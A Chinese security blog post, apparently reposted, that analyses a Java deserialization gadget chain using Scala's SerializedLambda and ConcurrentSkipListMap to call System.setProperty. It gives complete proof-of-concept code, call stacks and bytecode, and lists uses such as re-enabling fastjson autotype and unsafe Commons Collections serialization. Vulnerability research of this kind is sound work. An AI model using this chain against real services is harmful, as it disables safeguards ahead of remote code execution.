从Scala Chain看新切入面

admin 2024年7月8日07:19:32评论3 views字数 15197阅读50分39秒阅读模式
效果图
可以通过该链调用java.lang.System#setProperty方法修改相关属性,例如复活Fastjson、绕过高版本CC链限制。

从Scala Chain看新切入面

原理分析
SerializedLambda

从Scala Chain看新切入面

从Scala Chain看新切入面

Lambda表达式序列化原理

关于Lambda表达式序列化的原理,可以直接参考ObjectStreamClass、ObjectOutputStream和ObjectInputStream的源码,这里直接说结论:

  • 前提条件:待序列化对象需要实现Serializable接口

  • 待序列化对象中如果存在writeReplace方法,则直接基于传入的实例反射调用此方法得到的返回值类型作为序列化的目标类型,对于Lambda表达式就是SerializedLambda类型

  • 反序列化的过程刚好是逆转的过程,调用的方法为readResolve,刚好前面提到SerializedLambda也存在同名的私有方法

  • Lambda表达式的实现类型是VM生成的模板类

SerializedLambda

  • SerializedLambda是Lambda表达式的序列化形式,这类存储了Lambda表达式的运行时信息

  • 为了确保Lambda表达式的序列化实现正确性,编译器或者语言类库可以选用的一种方式是确保writeReplace方法返回一个SerializedLambda实例

  • SerializedLambda提供一个readResolve方法,其职能类似于调用"捕获类"中静态方法$deserializeLambda$(SerializedLambda)并且把自身实例作为入参,该过程理解为反序列化过程

  • 序列化和反序列化产生的函数对象的身份敏感操作的标识形式(如System.identityHashCode()、对象锁定等等)是不可预测的

最终的结论就是:如果一个函数式接口实现了Serializable接口,那么它的实例就会自动生成了一个返回SerializedLambda实例的writeReplace方法,可以从SerializedLambda实例中获取到这个函数式接口的运行时信息。这些运行时信息就是SerializedLambda的属性:

属性

含义

capturingClass

"捕获类",当前的Lambda表达式出现的所在类

functionalInterfaceClass

名称,并且以"/"分隔,返回的Lambda对象的静态类型

functionalInterfaceMethodName

函数式接口方法名称

functionalInterfaceMethodSignature

函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型)

implClass

名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类)

implMethodName

函数式接口方法的实现方法名称

implMethodSignature

函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型)

instantiatedMethodType

用实例类型变量替换后的函数式接口类型

capturedArgs

Lambda捕获的动态参数

implMethodKind

实现方法的MethodHandle类型

参考:https://www.runoob.com/manual/jdk11api/java.base/java/lang/invoke/SerializedLambda.html
从Scala Chain看新切入面

案例

package Gadgets;import java.io.*;import java.lang.reflect.Method;@FunctionalInterfaceinterface Function0<R> extends Serializable {    R apply();}public class LambdaTest {    public static void main(String[] args) throws Exception{        Function0 runnable = ()-> {                System.out.println("Hello World");                return "Hello World";            };        Method writeRepla = runnable.getClass().getDeclaredMethod("writeReplace");        writeRepla.setAccessible(true);        Object invoke = writeRepla.invoke(runnable);        System.out.println(invoke);    }}
从Scala Chain看新切入面

可以看到输出如下信息

SerializedLambda[capturingClass=class Gadgets.LambdaTest, functionalInterfaceMethod=Gadgets/Function0.apply:()Ljava/lang/Object;, implementation=invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object;, instantiatedMethodType=()Ljava/lang/Object;, numCaptured=0]注意:capturingClass=class Gadgets.LambdaTest指的是Gadgets.LambdaTest#lambda$main$3d3fdb01$1这个方法所在类implementation=invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object;代表具体实现class Gadgets.LambdaTest Gadgets/Function0.apply:()Ljava/lang/Object; 代码逻辑invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object这里的invokeStatic是因为MethodhnaleInfo是REF_invokeStaticGadgets/LambdaTest是implClasslambda$main$3d3fdb01$1是implMethodName()Ljava/lang/Object是函数Gadgets.LambdaTest#lambda$main$3d3fdb01$1方法签名
从Scala Chain看新切入面
从Scala Chain看新切入面
package Gadgets;import java.lang.invoke.SerializedLambda;import java.lang.invoke.LambdaForm.Hidden;// $FF: synthetic classfinal class LambdaTest$$Lambda$14 implements Function0 {    private LambdaTest$$Lambda$14() {    }    @Hidden    public Object apply() {        return LambdaTest.lambda$main$3d3fdb01$1();    }    private final Object writeReplace() {        return new SerializedLambda(LambdaTest.class, "Gadgets/Function0", "apply", "()Ljava/lang/Object;", 6, "Gadgets/LambdaTest", "lambda$main$3d3fdb01$1", "()Ljava/lang/Object;", "()Ljava/lang/Object;", new Object[0]);    }}
参考

https://blog.csdn.net/qq_27986857/article/details/133050051

https://www.cnblogs.com/throwable/p/15611586.html

https://blog.csdn.net/wjw465150/article/details/126821047

Scala Chain

package Gadgets;import scala.Tuple2;import sun.reflect.ReflectionFactory;import java.io.*;import java.lang.invoke.MethodHandleInfo;import java.lang.invoke.SerializedLambda;import java.lang.reflect.*;import java.util.concurrent.ConcurrentSkipListMap;public class ScalaTest {    public static void main(String[] args) throws Exception {        ReflectionFactory rf = ReflectionFactory.getReflectionFactory();        //e.g command = "org.apache.commons.collections.enableUnsafeSerialization:true");        String command = "org.apache.commons.collections.enableUnsafeSerialization:true";        String[] nameValue = command.split(":");        Tuple2 prop = new scala.Tuple2<>(nameValue[0],nameValue[1]);        long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();        System.out.println("VersionUID: " + versionUID);        SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,                "scala/Function0", "apply", "()Ljava/lang/Object;",                MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",                "$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",                "()Lscala/sys/SystemProperties;", new Object[]{prop});        Class<?> clazz = Class.forName("scala.collection.View$Fill");        Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);        Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));        clazz = Class.forName("scala.math.Ordering$IterableOrdering");        ctor = rf.newConstructorForSerialization(                clazz, Object.class.getDeclaredConstructor()        );//        ctor = StubClassConstructor.class.getDeclaredConstructor();        Object iterableOrdering = ctor.newInstance();        // on readObject, ConcurrentSkipListMap invokes comparator.compare(Object x, Object y);        // Initialize ConcurrentSkipList with a dummy comparator (a comparator that allows putting values into the list)        ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);        // add the view entry to the map, when the view.iterable().next() is invoked, the System.setProperty lambda is executed        map.put(view, 1);        map.put(view, 2);        // Replace the comparator with the IterableComparator        // IterableComparator is responsible for executing the view.iterable().next() on comparison        Field f = map.getClass().getDeclaredField("comparator");        f.setAccessible(true);        f.set(map,iterableOrdering);//        f.setAccessible(true);//        f.set(map, iterableOrdering);        try {            ByteArrayOutputStream baos = new ByteArrayOutputStream();            ObjectOutputStream oos = new ObjectOutputStream(baos);            oos.writeObject(map);            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));            ois.readObject();        }catch (Exception e){        }    }    private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException, IOException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(serialized);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));        return ois.readObject();    }}

调用栈

setProperty:922, System (java.lang)$anonfun$addOne$1:53, SystemProperties (scala.sys)apply:-1, 1121454968 (scala.sys.SystemProperties$$Lambda$26)next:1008, Iterator$$anon$22 (scala.collection)compare:273, Ordering$IterableOrdering (scala.math)compare:267, Ordering$IterableOrdering (scala.math)cpr:393, ConcurrentSkipListMap (java.util.concurrent)readObject:1255, ConcurrentSkipListMap (java.util.concurrent)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:564, Method (java.lang.reflect)invokeReadObject:1216, ObjectStreamClass (java.io)readSerialData:2381, ObjectInputStream (java.io)readOrdinaryObject:2215, ObjectInputStream (java.io)readObject0:1707, ObjectInputStream (java.io)readObject:517, ObjectInputStream (java.io)readObject:475, ObjectInputStream (java.io)main:60, ScalaTest (Gadgets)
这里直接从java.util.concurrent.ConcurrentSkipListMap#readObject方法开始分析
从Scala Chain看新切入面
可以看到此处至少需要两个KV键值对,才可以执行到此处的java.util.concurrent.ConcurrentSkipListMap#cpr方法通过这个comparator比较器来对比两个对象
从Scala Chain看新切入面
java.util.concurrent.ConcurrentSkipListMap#cpr方法中此处的comparator为我们反射设定的scala.math.Ordering.IterableOrdering类型比较器
从Scala Chain看新切入面
从Scala Chain看新切入面
在scala.math.Ordering.IterableOrdering#compare首先获取这两个scala.collection.View$Fill对象的迭代器
从Scala Chain看新切入面
此处将得到一个scala.collection.Iterator$$anon$22类型对象
从Scala Chain看新切入面
从Scala Chain看新切入面
从Scala Chain看新切入面
public final class scala.collection.Iterator$$anon$22 extends scala.collection.AbstractIterator<A> { ...... ....... public scala.collection.Iterator$$anon$22(int, scala.Function0); descriptor: (ILscala/Function0;)V Code: 0: aload_0 1: iload_1 2: putfield #26 // Field len$3:I 5: aload_0 6: aload_2 7: putfield #51 // Field elem$4:Lscala/Function0; 10: aload_0 11: invokespecial #72 // Method scala/collection/AbstractIterator."<init>":()V 14: aload_0 15: iconst_0 16: putfield #28 // Field i:I 19: return// 伪代码public scala.collection.Iterator$$anon$22(int len, scala.Function0 function){ this.len$3=len; this.elem$4=function; super.init();}
然后执行next操作
从Scala Chain看新切入面
可以看到这里的scala.collection.AbstractIterator#elem$4实际上就是前面我们构造的lambda表达式对象,和前面的分析吻合
从Scala Chain看新切入面
其对于的代码为
从Scala Chain看新切入面
可以看到这里的scala.sys.SystemProperties$$Lambda$31#apply方法实际就是调用scala.sys.SystemProperties.$anonfun$addOne$1方法,至于参数
从Scala Chain看新切入面
通过以下方式简单看一下其对应的字节码
javap -cp scala-library-2.13.6.jar -p -s -c scala.sys.SystemProperties
从Scala Chain看新切入面
public static final java.lang.String $anonfun$addOne$1(scala.Tuple2);    descriptor: (Lscala/Tuple2;)Ljava/lang/String;    Code:       0: aload_0       // 调用Tuple2类型参数的_1()方法       1: invokevirtual #359                // Method scala/Tuple2._1:()Ljava/lang/Object;       4: checkcast     #238                // class java/lang/String       7: aload_0       // 调用Tuple2类型参数的_1()方法       8: invokevirtual #270                // Method scala/Tuple2._2:()Ljava/lang/Object;      11: checkcast     #238                // class java/lang/String      // 经过前面两条invokevirtual指令成功从外部取到了我们要修改属性名和值      // 此时堆栈栈顶两个元素分别是属性名、值      // 调用两个参数的静态方法会从栈上load两个出来作为参数      // 也就是我们的参数名和值      // 此处相当于就是java.lang.System#setProperty(propertyName,propertyValue)      14: invokestatic  #363                // Method java/lang/System.setProperty:(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;      17: areturn// 大致的伪代码public SystemProperties $anonfun$addOne$1(final Tuple2<String, String> kv) {    return System.setProperty((String)kv._1(), (String)kv._2());}// 此处kv就是kv = {Tuple2@1719} "(org.apache.commons.collections.enableUnsafeSerialization,true)" _1 = "org.apache.commons.collections.enableUnsafeSerialization" _2 = "true"
从Scala Chain看新切入面
javap -cp scala-library-2.13.6.jar -p -s -c scala.Tuple2
从Scala Chain看新切入面
这里的_1_2字段在其有参构造方法进行设置的
从Scala Chain看新切入面
继续分析,将会调用java.lang.System#setProperty方法修改我们想要的属性值
从Scala Chain看新切入面

总结

通过java.util.concurrent.ConcurrentSkipListMap#readObject触发java.util.concurrent.ConcurrentSkipListMap#cpr进而触发scala.math.Ordering.IterableOrdering#compare,在前期构造系列化数据的时候构造两个scala.collection.View.Fill类型对象到中,触发到scala.math.Ordering.IterableOrdering#compare方法的时候获取两个scala.collection.View.Fill对象的迭代器,其类型为scala.Function0
从Scala Chain看新切入面

我们前期构造如下实现了scala.Function0lambda表达式对象

从Scala Chain看新切入面

最终实现在scala.collection.AbstractIterator#next方法中触发apply方法进而实现调用java.lang.System#setProperty方法修改属性。

其实本质的利用方式就是去调用我们构造的lambda表达式进而调用scala.sys.SystemProperties.$anonfun$addOne$1方法触发属性修改。

为什么这里的scala.Function0对象要如此构造?

整个链子代码最玄妙的就是这一段代码

SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,        "scala/Function0", "apply", "()Ljava/lang/Object;",        MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",        "$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",        "()Lscala/sys/SystemProperties;", new Object[]{prop});Class<?> clazz = Class.forName("scala.collection.View$Fill");Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));

从Scala Chain看新切入面

在看这段代码前我们先看一下SerializedLambda

public SerializedLambda(Class<?> capturingClass,       // "捕获类",当前的Lambda表达式出现的所在类                        String functionalInterfaceClass,     // 名称,并且以"/"分隔,返回的Lambda对象的静态类型                        String functionalInterfaceMethodName,    // 函数式接口方法名称                        String functionalInterfaceMethodSignature,  // 函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型)                        int implMethodKind,    // 实现方法的MethodHandle类型                        String implClass,      // 名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类)                        String implMethodName,   // 函数式接口方法的实现方法名称                        String implMethodSignature,   // 函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型)                        String instantiatedMethodType,  // 用实例类型变量替换后的函数式接口类型                        Object[] capturedArgs)   // Lambda捕获的动态参数

属性

含义

capturingClass

"捕获类",当前的Lambda表达式出现的所在类

functionalInterfaceClass

名称,并且以"/"分隔,返回的Lambda对象的静态类型

functionalInterfaceMethodName

函数式接口方法名称

functionalInterfaceMethodSignature

函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型)

implClass

名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类)

implMethodName

函数式接口方法的实现方法名称

implMethodSignature

函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型)

instantiatedMethodType

用实例类型变量替换后的函数式接口类型

capturedArgs

Lambda捕获的动态参数

implMethodKind

实现方法的MethodHandle类型

从Scala Chain看新切入面

可以看到这里实际上就是在手动构造一个系列化形式的Lambda表达式,而之所以要这么做是因为此处的scala.Function0类并未实现Serializable接口

SerializedLambda(    scala.sys.SystemProperties.class,    "scala/Function0",     "apply",     "()Ljava/lang/Object;", // scala/Function0#apply接口方法签名    MethodHandleInfo.REF_invokeStatic,     // Member: static T m(A*); 形式: (T) C.m(arg*)    "scala.sys.SystemProperties",    "$anonfun$addOne$1",     "(Lscala/Tuple2;)Ljava/lang/String;",    "()Lscala/sys/SystemProperties;",     new Object[]{prop});此处capturingClass参数为scala.sys.SystemProperties.class是因为scala.sys.SystemProperties#$anonfun$addOne$1方法存在于这个类此处的MethodHandleInfo为MethodHandleInfo.REF_invokeStatic代表我们要实现的函数接口apply的代码体为implClass.implMethodName(capturedArgs)此处构造的lambda表达式相当于就是一个类型为scala.Function0的lambda表达式,该表达式对象的apply接口方法代码实体为return implClass(scala.sys.SystemProperties).implMethodName($anonfun$addOne$1)(capturedArgs(new Object[]{prop}));这里的(Lscala/Tuple2;)Ljava/lang/String;是scala.sys.SystemProperties#$anonfun$addOne$1方法签名这里的"()Lscala/sys/SystemProperties;"暂未发现实际意义,直接写成和apply接口方法签名(()Ljava/lang/Object;)一样也行,测试发现只要签名字符串格式合法即可,例如()Ljava/lang/String;也可以只需要保证参数格式和前面的apply方法一样即可(即无参数),例如()Lscala/Function0;、()Ljava/lang/Object;、()Lscala/sys/SystemProperties;这里的new Object[]{prop}是传递给scala.sys.SystemProperties#$anonfun$addOne$1的参数public SerializedLambda(Class<?> capturingClass,       // "捕获类",当前的Lambda表达式出现的所在类                        String functionalInterfaceClass,     // 名称,并且以"/"分隔,返回的Lambda对象的静态类型                        String functionalInterfaceMethodName,    // 函数式接口方法名称                        String functionalInterfaceMethodSignature,  // 函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型)                        int implMethodKind,    // 实现方法的MethodHandle类型                        String implClass,      // 名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类)                        String implMethodName,   // 函数式接口方法的实现方法名称                        String implMethodSignature,   // 函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型)                        String instantiatedMethodType,  // 用实例类型变量替换后的函数式接口类型                        Object[] capturedArgs)   // Lambda捕获的动态参数
从Scala Chain看新切入面
从Scala Chain看新切入面
经过以上得到了一个系列化形式的lambda表达式,我们下一步就是将其通过系列化、反序列化操作得到一个scala.Function0类型的对象.

为什么此处一定得是scala.sys.SystemProperties

此处本地尝试通过这种方法去任意调用方法得到如下报错
从Scala Chain看新切入面
报错原因是因为针对于Lambda表达式系列化对象SerializedLambda对象在反序列化的时候会通过其java.lang.invoke.SerializedLambda.readResolve方法还原lambda表达式对象,在该方法中会反射获取我们替代的lambda表达式所在所在类(capturingClass)的$deserializeLambda$方法来还原lambda对象,也就是该原因导致此处得是。scala.sys.SystemProperties
从Scala Chain看新切入面
从Scala Chain看新切入面
javap -cp scala-library-2.13.6.jar -p -s -c scala.sys.SystemProperties
从Scala Chain看新切入面
  private static java.lang.Object $deserializeLambda$(java.lang.invoke.SerializedLambda);    descriptor: (Ljava/lang/invoke/SerializedLambda;)Ljava/lang/Object;    Code:       0: aload_0       1: invokedynamic #386,  0            // InvokeDynamic #9:lambdaDeserialize:(Ljava/lang/invoke/SerializedLambda;)Ljava/lang/Object;       6: areturn// 伪代码private static java.lang.Object $deserializeLambda$(java.lang.invoke.SerializedLambda serializedLambda){    return lambdaDeserialize(serializedLambda)}

链子稳定性

这里java.util.concurrent.ConcurrentSkipListMap#readObject调用java.util.concurrent.ConcurrentSkipListMap#cpr的代码受JDK影响,本机(Mac)测试结果:

  • JDK14u2:java.util.concurrent.ConcurrentSkipListMap#readObject中存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用

  • JDK17:java.util.concurrent.ConcurrentSkipListMap#readObject中存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用

  • JDK11:java.util.concurrent.ConcurrentSkipListMap#readObject中存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用

  • JDK8u391:java.util.concurrent.ConcurrentSkipListMap#readObject中不存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用

  • JDK8u121:java.util.concurrent.ConcurrentSkipListMap#readObject中不存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用

综上所述:该链子适用于较高版本JDK。

lambda反序列化动态生成的字节文件

我们可以通过配置JVM参数导出在程序执行过程动态生成的lambda表达式代理类

-Djdk.internal.lambda.dumpProxyClasses=OutDir
从Scala Chain看新切入面

从Scala Chain看新切入面

切入面

对抗限制,如:

  • 打开fastjson autotype

  • 设置高版本JNDI trustCodeBase

  • 复活高版本CC链

  • .....

新的挖掘面

  • 寻找存在$deserializeLambda$方法的类

  • 查看其有没有相关方法存在切入点(如写文件、设置系统属性等)

  • 缝合进其他攻击里面作为前置攻击等。

结语

u1s1这链子真绕,文中可能存在错误地方,有懂的师傅直接留言diss俺即可。

原文始发于微信公众号(安全之道):从Scala Chain看新切入面

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日07:19:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从Scala Chain看新切入面http://cn-sec.com/archives/2929202.html

发表评论

匿名网友 填写信息